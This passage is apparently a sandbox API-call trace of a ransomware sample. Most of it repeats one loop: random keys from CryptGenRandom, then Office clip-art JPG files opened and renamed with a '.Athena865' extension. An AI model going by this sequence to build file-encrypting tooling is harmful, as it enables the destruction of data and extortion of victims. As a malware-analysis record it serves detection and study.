files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.662] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16099) returned 1 [0130.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.663] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.663] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.663] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.665] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.666] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.666] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.667] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341534.JPG" | out: lpString1="J0341534.JPG") returned="J0341534.JPG" [0130.667] lstrlenW (lpString="J0341534.JPG") returned 12 [0130.667] lstrlenW (lpString="Athena865") returned 9 [0130.667] lstrcmpiW (lpString1="41534.JPG", lpString2="Athena865") returned -1 [0130.667] lstrlenW (lpString=".dll") returned 4 [0130.667] lstrcmpiW (lpString1="J0341534.JPG", lpString2=".dll") returned 1 [0130.667] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.Athena865") returned 73 [0130.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.athena865"), dwFlags=0x1) returned 1 [0130.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.668] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8074) returned 1 [0130.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.669] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.670] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.670] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.672] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.673] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.673] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.673] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341551.JPG" | out: lpString1="J0341551.JPG") returned="J0341551.JPG" [0130.673] lstrlenW (lpString="J0341551.JPG") returned 12 [0130.673] lstrlenW (lpString="Athena865") returned 9 [0130.673] lstrcmpiW (lpString1="41551.JPG", lpString2="Athena865") returned -1 [0130.673] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.Athena865") returned 73 [0130.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.athena865"), dwFlags=0x1) returned 1 [0130.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.675] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23126) returned 1 [0130.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.675] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.676] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.676] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.679] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.679] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.679] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.680] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341554.JPG" | out: lpString1="J0341554.JPG") returned="J0341554.JPG" [0130.680] lstrlenW (lpString="J0341554.JPG") returned 12 [0130.680] lstrlenW (lpString="Athena865") returned 9 [0130.680] lstrcmpiW (lpString1="41554.JPG", lpString2="Athena865") returned -1 [0130.680] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.Athena865") returned 73 [0130.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.athena865"), dwFlags=0x1) returned 1 [0130.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.683] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28483) returned 1 [0130.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.684] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.685] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.685] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.687] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.688] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.688] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.689] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341557.JPG" | out: lpString1="J0341557.JPG") returned="J0341557.JPG" [0130.689] lstrlenW (lpString="J0341557.JPG") returned 12 [0130.689] lstrlenW (lpString="Athena865") returned 9 [0130.689] lstrcmpiW (lpString1="41557.JPG", lpString2="Athena865") returned -1 [0130.689] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.Athena865") returned 73 [0130.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.athena865"), dwFlags=0x1) returned 1 [0130.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.690] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27304) returned 1 [0130.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.691] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.691] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.692] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.694] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.695] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.695] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.696] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341559.JPG" | out: lpString1="J0341559.JPG") returned="J0341559.JPG" [0130.696] lstrlenW (lpString="J0341559.JPG") returned 12 [0130.696] lstrlenW (lpString="Athena865") returned 9 [0130.696] lstrcmpiW (lpString1="41559.JPG", lpString2="Athena865") returned -1 [0130.696] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.Athena865") returned 73 [0130.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.athena865"), dwFlags=0x1) returned 1 [0130.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.698] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26739) returned 1 [0130.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.698] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.699] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.699] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.701] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.702] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.702] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.703] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341561.JPG" | out: lpString1="J0341561.JPG") returned="J0341561.JPG" [0130.703] lstrlenW (lpString="J0341561.JPG") returned 12 [0130.703] lstrlenW (lpString="Athena865") returned 9 [0130.703] lstrcmpiW (lpString1="41561.JPG", lpString2="Athena865") returned -1 [0130.703] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.Athena865") returned 73 [0130.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.athena865"), dwFlags=0x1) returned 1 [0130.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.704] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42135) returned 1 [0130.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.705] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.705] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.706] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.709] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.709] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.709] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.710] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341634.JPG" | out: lpString1="J0341634.JPG") returned="J0341634.JPG" [0130.710] lstrlenW (lpString="J0341634.JPG") returned 12 [0130.710] lstrlenW (lpString="Athena865") returned 9 [0130.710] lstrcmpiW (lpString1="41634.JPG", lpString2="Athena865") returned -1 [0130.711] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.Athena865") returned 73 [0130.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.athena865"), dwFlags=0x1) returned 1 [0130.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.712] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7803) returned 1 [0130.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.712] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.713] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.713] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.716] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.717] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.717] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.717] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341636.JPG" | out: lpString1="J0341636.JPG") returned="J0341636.JPG" [0130.717] lstrlenW (lpString="J0341636.JPG") returned 12 [0130.717] lstrlenW (lpString="Athena865") returned 9 [0130.718] lstrcmpiW (lpString1="41636.JPG", lpString2="Athena865") returned -1 [0130.718] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.Athena865") returned 73 [0130.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.athena865"), dwFlags=0x1) returned 1 [0130.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.720] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13845) returned 1 [0130.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.720] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.723] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.723] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.725] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.726] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.726] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.726] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341645.JPG" | out: lpString1="J0341645.JPG") returned="J0341645.JPG" [0130.726] lstrlenW (lpString="J0341645.JPG") returned 12 [0130.726] lstrlenW (lpString="Athena865") returned 9 [0130.726] lstrcmpiW (lpString1="41645.JPG", lpString2="Athena865") returned -1 [0130.726] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.Athena865") returned 73 [0130.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.athena865"), dwFlags=0x1) returned 1 [0130.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.728] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8230) returned 1 [0130.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.729] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.730] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.730] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.732] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.733] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.733] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.733] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341653.JPG" | out: lpString1="J0341653.JPG") returned="J0341653.JPG" [0130.733] lstrlenW (lpString="J0341653.JPG") returned 12 [0130.733] lstrlenW (lpString="Athena865") returned 9 [0130.733] lstrcmpiW (lpString1="41653.JPG", lpString2="Athena865") returned -1 [0130.733] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.Athena865") returned 73 [0130.733] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.athena865"), dwFlags=0x1) returned 1 [0130.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.735] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15863) returned 1 [0130.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.735] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.736] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.736] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.739] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.740] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.740] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.740] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341654.JPG" | out: lpString1="J0341654.JPG") returned="J0341654.JPG" [0130.740] lstrlenW (lpString="J0341654.JPG") returned 12 [0130.740] lstrlenW (lpString="Athena865") returned 9 [0130.740] lstrcmpiW (lpString1="41654.JPG", lpString2="Athena865") returned -1 [0130.740] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.Athena865") returned 73 [0130.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft 